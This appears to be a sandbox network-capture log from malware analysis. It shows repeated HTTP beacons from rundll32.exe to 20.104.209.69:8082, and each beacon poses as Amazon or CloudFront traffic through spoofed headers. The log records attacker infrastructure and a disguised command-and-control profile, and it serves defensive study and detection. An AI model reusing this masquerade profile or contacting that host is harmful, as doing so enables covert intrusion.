Jan 8, 2023 16:09:06.857105970 CET	1299	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:58 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.6	49992	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:07.122092009 CET	1302	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:07.239968061 CET	1302	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:58 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.6	49993	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:07.503489971 CET	1305	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:07.621989965 CET	1305	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:58 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.6	49994	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:07.866158009 CET	1308	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:07.985980034 CET	1308	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:59 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.6	49995	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:08.254319906 CET	1311	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:08.374524117 CET	1311	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:59 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.6	49996	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:08.653381109 CET	1314	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:08.773102045 CET	1315	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:00 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.6	49997	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:09.039400101 CET	1317	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:09.158490896 CET	1318	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:00 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.6	49998	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:09.417256117 CET	1320	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:09.535710096 CET	1321	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:00 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49701	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:06:56.929686069 CET	107	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:06:57.560909986 CET	107	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:48 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 234783

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49728	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:11.643419027 CET	451	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:11.761812925 CET	452	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.6	49999	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:09.818973064 CET	1324	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:09.939246893 CET	1324	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:01 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.6	50000	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:10.192873955 CET	1327	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:10.313555002 CET	1327	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:01 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.6	50001	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:10.565917015 CET	1330	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:10.684078932 CET	1330	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:01 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.6	50002	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:10.966218948 CET	1333	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:11.085454941 CET	1334	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:02 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.6	50003	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:11.337826014 CET	1336	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:11.456406116 CET	1337	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:02 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.6	50004	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:11.714432955 CET	1339	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:11.832968950 CET	1340	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.6	50005	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:12.098069906 CET	1343	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:12.217036009 CET	1343	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.6	50006	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:12.473792076 CET	1346	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:12.592641115 CET	1346	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.6	50007	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:12.845453024 CET	1349	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:12.963753939 CET	1349	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.6	50008	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:13.289900064 CET	1352	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:13.408380032 CET	1353	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49729	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:12.014522076 CET	455	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:12.132714033 CET	455	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.6	50009	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
